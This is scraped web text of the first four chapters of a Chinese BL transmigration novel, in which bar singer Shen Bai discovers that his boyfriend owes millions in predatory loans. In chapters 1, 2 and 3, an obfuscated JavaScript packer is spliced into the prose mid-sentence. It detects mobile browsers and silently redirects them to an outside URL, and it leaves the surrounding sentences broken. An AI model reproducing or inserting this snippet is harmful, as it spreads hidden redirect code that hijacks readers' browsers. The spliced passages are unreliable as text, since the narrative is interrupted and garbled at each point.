《路人攻也要被强取豪夺吗?!》 1. 第 1 章 第1章 凌晨十二点半,伴随着酒吧激昂的鼓点,沈白抱着自己的吉他穿过人群,朝着酒吧的休息间走去。 休息间的隔音做得挺好,门一关上,便彻底将外面嘈杂混乱的声音隔绝了。 沈白呼出一口气,将吉他放在桌上,从兜里摸出钥匙找到属于自己的储物箱,打开后准备换衣服,上衣才刚脱了一半,忽然听到身后传来一道口哨声。 康小言吹完流氓哨,语气有些贱嗖嗖地开口调侃道:“小白哥,看不出来你还挺有料啊!” 沈白见是他,没好气道:“你不是今天很早就结束了吗,这都快一点了,怎么还在店里?” “我等你呢啊,小白哥!”康小言说着就凑了上来,伸手就想去搂沈白的腰,不过见沈白躲了,搂腰的动作立刻变成了搭肩。 沈白往后退了两步,躲开康小言的手,动作利落地换好了衣服,这才重新看向他,问道:“等我干什么?” 康小言脸皮厚,没占到便宜也不觉得有什么,笑嘻嘻道:“小白哥,你猜我昨天在‘暗巷’见到谁了?” ‘暗巷’是市里开了很多年,名气挺大的一家gay吧,里面消费挺高的,以康小言的薪资待遇,起码得攒上个把月的钱才能进去点上一杯酒。 沈白皱了皱眉,道:“你前段时间不是还说要攒钱换车吗,怎么又去那边玩?” 康小言眼里闪过一抹心虚,但很快转移话题道:“哎呀小白哥,现在不是说这些的时候啦,你就不好奇我昨天在里面碰到谁了吗?” 沈白不笨,康小言今天的演出十一点就结束了,守在休息室里等了他这么长时间,想来应该是比较重要的事情。 暗巷是市里名气很大的gay吧,高消费加上会员制,本身就已经过滤掉很大一部分人群,加上和自己有关,即便康小言没说名字,沈白却已经猜出了个大概。 “碰见周牧云了?”沈白问。 康小言愣住了。 沉默了十来秒,康小言打量着沈白的表情,见他脸上没有愠怒生气的神色,这才小心翼翼道:“哥,你知道了?” 周牧云是沈白交往了五年的男朋友,两人之间的感情虽然不至于轰轰烈烈,但这么多年一直挺稳定的,算得上是细水长流了。 沈白是个穿书者,不过不同于小说里惯用的桥段,沈白虽然穿书了,但并没有穿成书中的主角,而是穿成了一个放眼全文都没多少戏份的路人。 这个世界沈白的家庭状况有点复杂,父母都是普通工薪阶层,在沈白三岁那年,母亲生下了弟弟沈宁。 沈宁有很严重的先天性心脏病,手术后虽然暂时没有生命危险,但心脏问题依旧是个定时炸弹,随着年龄的增长,随时都有爆炸的可能。 为了给沈宁治病,家里的积蓄基本全部都掏空了,因为钱的事情,父母频繁吵架,就这样勉强维持了几年,沈白十五岁那年,父母正式办理了离婚手续。 两人离婚后不久,很快就各自组建了新的家庭,沈白和沈宁被送到了奶奶家,跟着奶奶一起生活。 沈白成绩不错,中考时考上了市里最好的高中市一中,不过沈白没去读,而是选择读了一所名气和升学率都远不如市一中的私立学校。 究其原因,无外乎是为了钱。 私立学校不但学费全免,每年还会有额外的奖学金,如果沈白愿意的话,学校还可以提供一个勤工俭学的名额。 可即便如此,沈白这高中也没读完,高二下学期,沈宁的身体每况愈下,思虑再三,沈白选择退学,外出打工去赚钱去了。 那会儿沈白每天打四五份工,整个人都像个陀螺似的,说是连轴转那真的是一点也不夸张。 沈白和周牧云就是在打工时认识的,周牧云比沈白小三岁,嘴甜又特别会来事儿,没多久便和沈白混熟了。 因为周牧云和沈宁同岁,所以沈白一直拿他当弟弟,平时工作的时候很照顾他,但让沈白没想到的是,正是因为这份照顾,让周牧云会错了意。 意识到周牧云对自己感情的苗头后,沈白开诚布公地跟他谈了一次,之后没多久周牧云便辞职了。 但两人并没有因此断了联系,每逢节日周牧云都会发祝福短信,沈白也会礼貌回复,不过也就仅限于此。 后来周牧云交了男朋友,经常拉着男朋友到沈白兼职的饭店吃饭,一来二去的,两人之间才重新恢复正常的朋友关系。 再后来周牧云男友劈腿,失恋后的周牧云非要拉着沈白一起喝酒,沈白酒量再好也架不住白酒洋酒掺着喝。 烂醉之后,等沈白再度恢复意识,睁开眼就对上了周牧云通红的双眼。 沈白不是那种不负责任的人,事情既然已经发生了,在询问过周牧云的意见后,两人便开始交往了。 不过在两人正式确定关系前,沈白特别坦然的跟周牧云说,在那晚天的事情发生之前,他好像是直的,一直都把周牧云当弟弟,除此之外再没别的,所以他不确定交往后能否日久生情,真的喜欢上周牧云。 但对此周牧云全然不在意,因为他太了解沈白的性格了,这是个只要别人对他好,他就一定不会辜负对方好意的人。 感情可以慢慢培养,但这次机会若是错过了,以后可就不可能再有了。 从和沈白交往的那一天开始,周牧云就清楚的知道,只要他不犯原则性错误,不主动提出分手,沈白是不可能会和他分手的。 事实证明,他赌对了。 不管沈白对周牧云是什么感情,两人交往开始之后,沈白待他很好,也给足了他安全感,身边有且只有他一个人。 周牧云年纪小,性格比较活泼跳脱,平时爱玩爱闹腾,沈白从没有干涉过他交友;周牧云花钱大手大脚,沈白宁愿自己累点,多打几份工,也从没有在钱上亏待过他。 两人这一谈就是五年,他们之间的感情虽然没有小说电影里那么轰轰烈烈,却也还算稳定。 不过即便两人已经交往了五年,在沈白心里,周牧云的身份依旧是弟弟大过于伴侣,甚至于就连两人之间的相处模式,比起情侣也更像是亲人。 所以听到康小言说在gay吧碰到周牧云的时候,沈白内心其实还挺平静的,并没有康小言想象中那么激动。 见沈白情绪稳定,康小言犹豫了片刻,还是如实道:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691301|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,小白哥,我不是想破坏你和小周之间的关系啊,但昨天在暗巷我看到他和一个男人在一起喝酒,举止还挺……亲密的。” “行,我知道了。”沈白闻言点了点头,伸手拍了拍康小言的肩,“没事,应该是他朋友,我回去问问怎么回事。” 康小言低头琢磨了一下沈白话里的意思,一抬头发现他小白哥已经换好衣服拎着包走了,也顾不上什么了,连忙拎着自己的摩托车头盔追了上去。 “哥,小白哥,你可别冲动啊——” * 冲动?沈白当然不会冲动。 都是成年人了,早就已经过了只会用暴力解决问题的年纪,而且沈白也不是那种会因为别人三言两语就怀疑自己恋人的那种人。 是真是假,他有自己的判断能力。 和周牧云交往了五年,对方是个什么性格他最是清楚,周牧云虽然平时的确是爱玩了一些,但一直很有分寸,截止到目前为止还从没有出现过原则性问题。 沈白进门前对周牧云还是挺有信心的,然而他摸出钥匙刚打开家门,手摸上墙边的开关刚准备把屋里的灯打开,却被人给拉住了胳膊。 “哥,别开灯。”周牧云的声音和平时的轻快不同,听上去有些沙哑。 仔细听的话,甚至还带了几分哭腔。 沈白眉心一跳,莫名有种不太好的预感,不过他什么也没说,如周牧云所愿地放下了按开关的手。 “怎么了?”感觉出他状态不对,沈白犹豫了片刻,伸手习惯性地揉了把他的脑袋。 下一秒,沈白就感觉自己的腰被人抱住了,周牧云环抱着他的手不断收紧,紧到沈白已经能隐隐感觉到痛。 交往五年,但仔细想来,两人之间很少有这么亲密的举动,所以沈白感觉有点不太适应,他拍了拍周牧云的肩膀,道:“出什么事了,你别急,慢慢说。” 周牧云却一言不发,只像只鸵鸟似的自顾自将脑袋埋进沈白怀里,环在沈白腰间的手臂愈发用力。 沈白没办法,只能任他抱着,打算等他情绪平复下来之后再问。 好在这个拥抱也并没有持续太久,一阵急促的手机铃声打破了室内的死寂。 沈白自己的手机常年都是震动状态,所以毫无疑问这急促的铃声是来自于周牧云的手机。 周牧云明显不想接,但电话那边的人似乎认定了他不接就会一直打下去,完全没有放过他的意思。 刺耳的铃声响了一遍又一遍,最后还是沈白开口道,“接吧。” 周牧云身体一僵,几秒后终是放开了抱住沈白的手,从卫衣口袋里摸出了手机看了一眼。 只一眼就让周牧云的身体止不住的开始发抖,拿着手机的手也抖得厉害。 自从两人相识以来,沈白还是第一次看到周牧云在自己面前这么失态。 沈白蹙起眉,低下头刚想看看到底是什么人打来的电话,视线都还没来得及看向屏幕,却觉身边倏然一空。 “扑通”一声沉闷的声响,周牧云结结实实跪在了沈白面前。 他通红着双眼,语带哭腔道:“哥,哥,我错了,我对不起你!” 2. 第 2 章 第2章 周牧云跪下的那一刻,沈白大脑罕见的宕机了。 急促的手机铃声唤将沈白的神志重新拉了回来,他一边伸手去拉跪在地上的周牧云,一边沉声道:“你先站起来,有什么事我们站起来好好说。” 周牧云平日里在沈白身边一贯是比较娇气的,连稍微沉一点的快递都懒得自己拿,得央着沈白下班帮他从驿站搬回来。 家里平时有什么需要力气的脏活累活体力活,也一直都是沈白在干,所以在沈白眼里,周牧云其实是属于弱不经风那一挂的。 但让他没想到的是,今天周牧云似乎是铁了心要跪,干惯了体力活的沈白尝试着拉了几次愣是没能将人给拉起来。 沈白感觉这次事情可能确实比较严重,不然周牧云不至于这样,他弯腰,将双手从对方腋下穿过,把人从地上架起来后,伸手开了灯。 长时间处于黑暗里,灯光亮起的瞬间,沈白眼睛有些不适应,微微眯了眯。 等眼睛适应之后,沈白这才看清楚屋内的情况。 临出门前打扫得干干净净的房间,此时简直可以用一片狼藉来形容,桌上散落着几个被捏扁了的空易拉罐,没吃完的外卖盒子上面飘着卫生纸。 沙发扶手上放着两盒烟,一盒已经抽空了,只剩空盒子,另外一盒还剩下半包,地上满是散落的烟头和烟灰。 沈白虽然没有洁癖,但平时也是个挺爱干净的人,看到家里被造成这样,要说一点不生气那肯定是假的,可看周牧云现在这状态,也不好再说什么。 将人扶到沙发上,沈白把衬衣的袖子卷上去,拉开抽屉拿了个垃圾袋,弯腰开始收拾起桌上的垃圾。 周牧云的手机还在响,当那铃声不知道响到第几遍时,情绪崩溃的他终于忍不住,抓起手机猛地砸在了地上。 他力气很大,手机触地后被摔得四分五裂,可能是屏幕上的碎片崩了出来,在沈白的脚腕上划出一道细长的口子。 幸好伤口不深,沈白没感觉有多疼,所以只低头扫了一眼,见没什么大碍,便继续收拾桌上的垃圾。 等把桌面打扫干净,沈白拿起桌上的杯子,接了杯温水放在了周牧云面前。 “小云,我们谈谈。” 可能是没了催命般的铃声,周牧云的情绪稍稍稳定了下来,但脸色依旧苍白,他那双漂亮的眼睛里满是血丝,眼底蓄满了泪水。 周牧云拉住沈白的手,低声道:“哥我做错事了。” “哪方面的?”沈白开口问,“是感情方面,还是其他事情。” 周牧云似乎很惊讶他会问这个问题,连连摇头,语无伦次道:“不、不是的,我绝对没有做对不起你的事情!” 听到这话,沈白非但没觉得松口气,反倒是心又止不住的往下沉了沉。 不是感情方面的问题,那能让周牧云失态成这样,想必情况只会比感情方面的问题更加严重。 饶是刚才收拾垃圾的时候,沈白已经给自己做了些心理准备,可真等周牧云跟他坦白完,沈白还是觉得自己准备做少了。 沈白脑子有些懵,沉默了许久后,才不敢置信般的开口道:“你刚才说,你欠了多少钱?” 周牧云不敢跟沈白对视,他低着头,眼泪一滴滴落在裤子上,浅色的牛仔裤很快被泪水打湿,形成一块分外明显的深蓝色湿痕。 “三、三百多万,”周牧云哽咽着道歉,“哥我知道错了,我真的知道错了,他们一开始说能赚钱我才信的,而且刚开始的时候也确实赚了些钱,我、我……” 周牧云抹了把眼泪,泣不成声道:“我就是看你为了买房子太辛苦了,我想着要是能赚钱点,你就不用那么辛苦,就可以把酒吧的工作辞了,能早点回家,哥,我真是一时鬼迷心窍。” 沈白缓了半天,才勉强冷静下来,开口道:“我之前给你那张卡里的钱,是不是也没了。” 虽然是在问,但沈白心里其实已经有了答案。 果不其然,周牧云好不容易止住的眼泪流得更凶了,他张了张嘴,却连一句完整的话都说不出口,只一个劲儿的跟沈白道歉,“对、对不起,哥,对不起……” 可道歉有什么用呢。 周牧云原生家庭不是很好,小小年纪就离开了家,所以两人当时刚在一起的时候,周牧云玩笑似的跟沈白说想好好攒钱,将来买套属于他们俩的房子,这样也算是有个家了。 可能当时说这话的时候周牧云是真心的,但真正将这句话付之于行动的人,从头到尾好像就只有沈白。 沈白这几年没日没夜的工作赚钱,刨除两人日常的花销和给周牧云的零花钱,攒了差不多有六十多万。 这笔钱原本是在沈白这里的,但上个月两人一起去看了房子,各方面都挺满意的,沈白都准备当场付钱了,却被周牧云给拦住了,说价格想再跟房主谈一谈,看能不能再低点。 沈白那阵子工作忙,听了这话也没多想,直接把卡给了周牧云,原本就打算这几天问问他房子的事情谈得怎么样了,不料他都还没来得及问,就闹出了今天这种事。 “你欠的那三百多万里,连我们买房子的钱也算进去了,是吗?”沈白问。 周牧云被他问得直接崩溃了,他伸手想去抱沈白,却被沈白给推开了,只能边哭边摇头,道:“没有,没有算进去……” “那也就是说,你投资失败,赔了将近四百万,是这个意思吗?”沈白又问。 他的语气听不出喜怒,情绪还挺稳定的,可也正因如此才更让周牧云觉得害怕,他现在宁愿沈白冲他发火,或者干脆直接揍他一顿,也好过现在这样。 沈白伸手从桌上的纸抽里抽了几张纸递给周牧云,道:“擦擦吧。” “你投资的是什么项目,自己投还是跟别人一起投的,是什么时候开始的?” 接过沈白递来的纸巾胡乱抹了把脸,周牧云平复了一下情绪,嗫嚅道,“我也不太懂,我是听一个朋友说的项目,说只要把钱给他,我什么也不用管,只要等着时间到了收利息就可以了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691302|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻言,沈白都快被气笑了,“你不懂就敢投三四百万进去?” “除了我给你的钱,剩下的钱你从哪儿弄来的?” 周牧云支支吾吾半天说不出个所以然。都到了这个地步了,见他还是不肯说真话,沈白心头涌起一种难以言喻的疲惫感。 沈白看着面前目光躲闪的周牧云,沉声道:“小云,你到底欠了多少钱。” “都这种时候了,如果你还是不愿意说真话,那就分手吧,我们不是一路人。” 听他说要分手,周牧云彻底慌了,他扑通一声又跪下了,抱着沈白的腿连声道,“不行!哥我们不分手,我不同意!” “你到底欠了多少钱,钱从哪儿来的?”沈白这次没扶他,硬下心肠逼问道。 周牧云边哭边语无伦次道:“我、我也不知道到底欠、欠了多少钱,我……我只知道他叫我下载了很多贷款软件,贷了很多钱出来,刚开始是几万块,后来变成十几二十万,再、再后来次数太多我也记不清了。” 沈白觉得好笑,一句记不清,就欠了几百万的债务。 周牧云没有稳定的工作,名下也没有车子房产,正规平台不可能会让他贷出这么多钱,那就只剩下一种可能,周牧云怕是碰了不该碰的东西,欠下的钱也绝对不是普通贷款,多半是高利贷。 沈白从沙发扶手上放着的那半包烟里抽了一根出来,点燃,丝丝缕缕的烟雾模糊了他的脸,让周牧云看不清他脸上的表情。 他手指修长,骨节分明,这本应是一双非常漂亮的手,但因为常年从事体力劳动,这双手上长满了老茧,新的旧的,大的小的,破坏了美感。 周牧云一直觉得沈白抽烟的动作很性感,当初他刚认识沈白那会儿,并没有将这个无论从哪方面来看都平平无奇的男人看进眼里。 直到有次店里搞活动,两人连轴转了十六七个小时,好不容易闲下来,周牧云从洗手间洗脸出来,看到沈白疲惫地靠坐在吧台旁,低垂着眼睫,不急不缓地抽着烟。 慵懒倦怠的脸,修长的手,和被夹在指间那根抽了一半的烟。 有那么一个瞬间,周牧云感觉心脏被什么东西撞了一下。自那之后的很长一段时间,他只要闭上眼睛,脑海里就会自动浮现那天下午沈白低头抽烟的那张侧脸。 不过后来相处时间久了周牧云才知道,其实沈白没有烟瘾,平时也很少会抽烟,甚至不太喜欢烟味儿,只有在特别疲惫,或者压力特别大的时候才会偶尔抽一根。 周牧云看着这一幕有些失神,恍惚间感觉自己好似又回到了那个傍晚。 “你既然选择今天跟我坦白这件事情,肯定是有债主找你要债了吧。”沈白用的是肯定句,说完后,他顿了顿,抬眼看向跪在他面前的周牧云,眯着眼,缓缓道。 “债主跟你要多少钱,总得有个数字吧。” 被一句话拉回神志的周牧云脊背微微僵住,沉默了很久后,他咬了咬牙,颤抖着声音开口吐出了一个数字。 “六百七十五万……” 3. 第 3 章 第3章 康小言擦着吧台,时不时朝着台上张望几眼,满脸写着心不在焉。 在他又一次把吧台上的东西碰倒后,熟客终于忍不住,开口调侃道:“你小子今天这是怎么了,跟丢了魂儿似的。” 被唤回神的康小言手忙脚乱收拾着被他碰倒的瓶瓶罐罐,边收拾边不耐烦道:“哎呀,你不懂。” 熟客顺着他的视线看向舞台,压低声音道:“你终于忍不住,要对沈白出手了?” 听到这话,康小言好悬没把刚扶起来的酒瓶又给碰翻,没好气地翻了个白眼,凶巴巴道:“胡扯啥呢,我跟小白哥那可是纯正的兄弟情,别用庸俗男男之情玷污我们之间积极健康的关系!” 熟客撇撇嘴,嘁道,“你那点小心思,搞得跟谁看不出似的。” 康小言气得牙痒痒,对着刚换好衣服走过来的调酒师道:“给他来一杯长岛冰茶,算我请的,赶紧堵上他这张臭嘴。” 调酒师耸了耸肩,冲熟客努了努嘴,道:“这是又说什么了,把我们小言刺激成这样,一毛不拔的铁公鸡今儿都肯自掏腰包请你喝酒了。” 熟客嘿嘿一乐,笑而不语。 今天酒吧的冷气出现了点故障,老板下午叫了师傅上门维修,但倒腾了半天也没检查出到底是哪儿的问题,无奈今天只能先开电扇凑合着。 舞台上灯光多,连带着风扇送来的风都是热的,以至于沈白演出完,拎着吉他从台上下来的时候,整个人跟刚从水里被捞出来似的。 早就等在下面的康小言颠颠地凑上去给沈白递了条干净的毛巾,殷勤道:“辛苦啦,小白哥!” “谢了。”沈白冲他笑笑,接过毛巾擦了擦脸上的汗,抬脚准备朝休息室走。 康小言看他要走,立刻跟了上去,一边观察他表情,一边小心翼翼打听道:“那啥,小白哥,你昨天回去没跟小周吵架吧?” “没有,”沈白脚步一顿,扭头看他,像是想起什么似的,开口问道,“小言我记得你前段时间不是说,有个朋友开了家店,最近在招酒水销售?” 话题跳跃太快,康小言愣了下,伸手挠了挠头,含糊道:“啊,是有这么一回事,但他那店都开业好几个月了,不知道现在招满了没有。” “怎么了小白哥,你有朋友想去啊?那我一会儿打电话帮你问问,他那店投资了不少钱,听说生意还蛮好的,销售提成也挺高,临时过度一下还是挺好的。” 沈白摇了摇头,有些不好意思,“不是替朋友问,是我想去试试。” 康小言懵了,伸手想去摸沈白脑壳看他有没有发烧,不过手还没碰到沈白便被他给推开了。 “不是,哥你咋想的啊,放着好好的日子不过,干啥想不开去做酒水推销啊?”康小言满脸震惊道。 “最近家里出了点事,缺钱。”沈白也挺坦然,没有藏着掖着的意思。 康小言一直知道沈白这人闲不住,当初俩人刚认识那会儿,沈白并不是酒吧的驻唱,而是在酒吧门口发小卡片的代驾。 他话不多,长得又好,而且从来不搞趁醉揩油、动手动脚那种恶心事,所以很多熟客喝了酒之后都愿意找他,他生意也一直很好。 沈白也很会来事儿,他本就不是自私的人,知道自己生意好是沾了酒吧客流的光,于是便主动找了老板谈分成的事情。 酒吧老板是个富二代,家里不差钱儿,自然看不上沈白给的那点分成。不过沈白的性格倒是挺合老板胃口,一来二去的两人倒是成了关系很好的朋友。 从那之后,沈白的代驾小卡片便摆在了酒吧吧台最显眼的地方,而沈白也投桃报李,不忙的时候也会偶尔客串下酒吧的工作人员,帮忙送送酒水,照看一下吧台什么的。 转折发生三年前,当时酒吧里的一个常驻歌手因为表演的视频被发到了短视频平台小火了一把,那歌手觉得自己红了,就开始跟老板提要求。 驻唱要涨薪,老板不差钱,加上之前合作也一直挺愉快的,所以很爽快就答应了,报酬翻了番,几乎是没红之前的三倍。 本来这也没什么,驻唱在网上小火了一把之后,给酒吧带来了不少的客流,涨钱是应该的,驻唱拿到了更多的钱,酒吧也跟着小火了一把,收获了更多的客流。 两边互利互惠,怎么看都是件双赢的事情,但让人没想到的是,这驻唱人红了心也就跟着飘了,不但隔三差五要求涨价,还开始迟到甚至旷工了。 跨年夜酒吧搞活动,谈好了下午六点来彩排,一直等到晚上九点半正式演出都没见到人影,老板急得满头汗,到处打电话找人来救场。 但因为是跨年夜,唱得好的歌手和乐队基本早早就有约了,眼看就要开天窗,刚送完客人回家的沈白得知情况后,跟现场的乐队沟通了两句,拿着麦就上去了。 老板看他上台的那一刻,只觉得天都塌了,都已经做好沈白待会儿被客人骂下来,得让保安赶紧拦着,以免沈白挨打的准备了。 可谁也没想到的是,沈白还真给了所有人惊喜,明明和乐队从来没有合作过,愣是配合默契的用一首《无地自容》点燃了现场原本有些低迷的气氛,让场子彻底热了起来。 沈白下来后老板什么也没说,只拍了拍他的肩膀,转头拿着电话就进了休息室,听说是把放鸽子那驻唱劈头盖脸一顿臭骂,然后干脆利落的解除了合作关系。 把驻唱开了之后,老板直接用同等待遇邀请了沈白在酒吧唱歌。于是原本只是顺手帮朋友救个场的沈白,就这么阴差阳错成了酒吧的正式员工,这一干就是两年多。 不过虽然当了驻唱,但其他时候康小言也没见沈白闲着,上午好像是在文化中心的一家拳馆教小孩子打拳,下午在朋友的汽修店帮忙,晚上则是在酒吧驻唱,时不时还会接点私活。 总之为了赚钱真是挺拼的,而且沈白会得东西也挺多的,反正在康小言眼里,几乎就没有沈白干不了的活。 沈白的情况康小言其实也知道一些,他是个物欲很低的人,平时花钱也挺节俭,穿得用得从来不讲究牌子,唯一的大额花销就是养他那小男朋友了。 所以,思来想去,康小言总觉得沈白这次缺钱缺成这样,十有八九跟周牧云脱不开干系。 康小言皱着眉,道:“小白哥,你跟小周该不会是贷款买了超出你们目前承受能力的房子了吧?” 康小言平时朋友多,消息也灵通,所以沈白要买房的消息没瞒他,还托了他做房产中介的朋友帮忙留意房源。 之前沈白和周牧云相中的那套房子,就是康小言那个做房产中介的朋友帮忙介绍的。 房子是两室一厅,面积不大,但位置还挺好的,距离市中心开车也就半小时的车程,而且又是刚交房没几年的新楼盘,绿化和物业都挺不错的,所以那边的房源一直比较紧俏。 房主是对老夫妻,两口子买这套房子原本是给儿子当婚房的,但后来儿子毕业后直接在外地定居了,婚房自然也用不上了。 那房子精装还带家电,老夫妻都是大学教授,品味不俗,又是准备给孩子当婚房的,装修设计都是用了心的,而且装好之后一天没住,一直在晾味道。 这房源刚挂出来,康小言做房产中介的朋友就给沈白打了电话,沈白看过之后也觉得满意,当时连定金都交了,不能又临时变卦了吧? 康小言了解沈白,知道他不太会是那种出尔反尔的人,那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691303|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只可能是周牧云那边出岔子了。 周牧云和康小言也认识,准确来说,康小言认识周牧云的时间比认识沈白还久,都是一个圈子的,虽然称不上多熟,但也打过不少交道的。 康小言觉得自己就挺爱玩了,但和周牧云比起来,他都算是挺洁身自好的了,而且这小子行事作风也挺浮夸的,在圈子里名声说不上多好。 所以当初得知沈白的男朋友居然是周牧云的时候,康小言别提有多震惊了,除了震惊之外,还酸得心里直冒泡。 他一直以为沈白是直男,所以哪怕再眼馋也没敢伸手,但千算万算没算到沈白居然能接受同性,而且还被周牧云这种货色给拿下了! 天杀的!苍天无眼啊!! 是的,康小言一直挺瞧不上周牧云的,尤其是在得知他是沈白的男朋友之后,更是恨不能当着沈白的面戳穿这家伙的真面目。 不过康小言有一点好,那就是哪怕他很喜欢沈白,却也不会打着为沈白好的名义,只凭个人喜好就诋毁沈白的男朋友。 他喜欢沈白,也尊重沈白。所以在周牧云没有出现实质性错误之前,哪怕再看不上周牧云,康小言也不会在沈白面前对周牧云恶语相向。 根据康小言观察,周牧云自从和沈白交往之后,倒也似乎真的有所改变,看样子是收心打算跟沈白好好过日子了。 起码截止到前两天在‘暗巷’碰见之前,康小言没发现他在交往期间做过对不起沈白的事情。 当然即便如此,康小言依旧不待见周牧云。 “没有,买房的事估计要暂时搁置了。”沈白摇了摇头,解释道。 康小言皱了皱眉,神色也变得严肃起来,开口道:“小白哥,你这是出什么事儿了,有我能帮上忙的地方吗,有的话你只管开口。” 这么多年的朋友了,康小言太知道这些年沈白为了攒钱买房有多拼,如今好不容易攒够了钱,眼看就要买房,忽然间又说不买了,那肯定是出事了,而且是大事。 沈白怕他担心,没跟他细说周牧云在外面欠了一屁股债的事,只说家里最近出了点事情,着急用钱。 但圈子就这么大一个圈子,平时稍微有点风吹草动都能传得沸沸扬扬,更何况周牧云这次捅出来的可不是什么小娄子。 所以即便沈白没说,周牧云在外面欠下巨债的事情还是传到了康小言耳朵里。 康小言简直气疯了,他还真是小瞧周牧云了,看他之前一直老老实实的,还以为他真改邪归正准备好好过日子了,搞了半天都是假的,这家伙闷不吭声居然憋了个大的! 傍晚的时候,沈白前脚刚踏进酒吧的大门,就被康小言给堵了个正着。 “小白哥,周牧云的事情我都听说了,他在外面到底欠了多少钱,我听人家说他欠了好几百万,是真的假的?”康小言上来也不给沈白反应的机会,连珠炮似的抛出了一个又一个问题。 沈白叹了口气,知道这事儿怕是瞒不住了,便也没再挣扎,点头承认道:“是真的。” 康小言瞪大了眼睛,不敢置信道:“他到底在外面干什么了,能欠这么多钱?” “说是跟人合伙投资,投资失败。”沈白道。 是不是投资这事儿其实还有待商榷,因为这几天在整理债务的时候,沈白问周牧云要过投资凭证,但周牧云什么都拿不出来。 只有一笔又一笔利息高得吓人的贷款记录,而且都不是通过什么正规平台,全是一些沈白平时听都没听说过的小平台。 以及白纸黑字,厚厚一沓子印有周牧云手印的借条。 沈白感觉事情怕是没有周牧云说得那么简单,比起简单的投资失败,更像是被人给做了局。 4. 第 4 章 第4章 让沈白觉得比较棘手的是,无论他再怎么追问,周牧云也不肯跟他说详细的投资过程。 当然,也不排除周牧云被人给骗了,自己也是稀里糊涂搞不清楚状况。不过沈白看他那回避的态度,感觉这种可能性不大。 周牧云肯定还瞒着什么事儿没跟沈白说,但每次只要沈白问到关键问题上,他情绪就变得特别激动,好几次都哭到恨不得昏厥过去,搞得沈白也不好再追问。 可即便没有问出想要的答案,光是看周牧云对这件事情的种种反应,便让沈白的心止不住的往下沉。 康小言接连问了几个问题都没有得到回应,他伸手在沈白面前晃了晃,“想什么呢,小白哥!” 沈白被他唤回神,摇了摇头,道:“没什么,对了,这事儿你听谁说的?” 康小言也没瞒着沈白的意思,开口道:“昨天下午听常来的一个熟客说的,那人是‘暗巷’的常客,和小周好像关系还不错,他说小周被催债的爆了通讯录,好多人都收到了消息。” 爆通讯录是种催债方式,指的是给欠债人通讯录里的所有人群发短信催债,有些甚至会逐一打电话给欠债人的亲朋好友,让他们劝催债人赶紧还钱。 这种行为算是催收里比较温和的方式了,对于脸皮厚的老赖来说几乎没什么杀伤力,但对于稍微要点面子的普通人而言,简直等同于直接宣告社会性死亡,因为实在是太丢人了。 不知道是不是周牧云早猜到会有这么一出,提前把沈白的电话删了还是怎么了,所以沈白目前还没收到这种消息。 康小言见沈白表情不太好,当即开口道:“哥,几百万不是个小数目,而且我听说他借的那些钱大概率是高利贷,利息高得吓人,根本还不清的。” “嗯,我知道。”沈白这几天也没闲着,除了找兼职以外,还利用空闲时间把周牧云的欠债捋了捋。 不谈利息,光是本金加上沈白之前转给他买房子的存款,周牧云在短短不到一年的时间欠了将近七百五十万。 这个数字对于普通人来说已经算是天文数字了,但就这还没完。 沈白前两天晚上洗衣服的时候,从周牧云外套口袋里翻出了两张借条,金额不多,一张十五万,一张三十万,白纸黑字,还按了手印。 借给他钱的人,沈白也认识,一个是他开汽修店的朋友,另一个则是沈白就职那家拳馆的老板。 当晚沈白直接打电话跟朋友确认,朋友原话是“小周当时说你们买房子钱不太够,但你脸皮薄不愿意开口跟我们借钱,所以瞒着你跟我借的,还让我别跟你说借钱的事情。” 沈白还是第一次知道,平时学什么都不太快的周牧云,在说谎这方面居然还挺有天赋的。 见沈白不语,康小言立马警惕起来,两眼一瞪,提高音量道:“小白哥,你不会准备帮他还钱吧?” “没有。”沈白倒也没有傻逼到那种程度。 七百多万,就算沈白想帮周牧云还,他也根本没有这么多钱啊,怎么还?拿头去还吗! 闻言,康小言这才松了口气,拍了拍胸口,像是想起什么,心有戚戚道:“我平常是很少会劝人分手的,但这次情况不一样,小白哥,你还是早点跟他分开吧,免得被他牵连着一块带进火坑里。” 沈白伸手捏了捏眉心,有些疲惫道:“他这几天状态都不是很好,我怕这时候提这个他会想不开,等熬过这段时间再说吧。” “被催债的找上门了知道想不开了,借钱的时候怎么没见他想不开,得有多大胆子才敢借这么多钱出来?”康小言无比犀利的评价道。 对于他们这种普通人而言,六七百万已经算得上是天文数字了,月薪一万的话不吃不喝得干将近六十年才能还清这笔钱。 “我心里有数,你就别操心了,看那眉头拧的,跟个小老头似的,小心长纹啊。”沈白拍拍他的肩膀,起身进了休息室。 看着他的背影,康小言还想说什么,不过话没出口又被他给咽了回去。 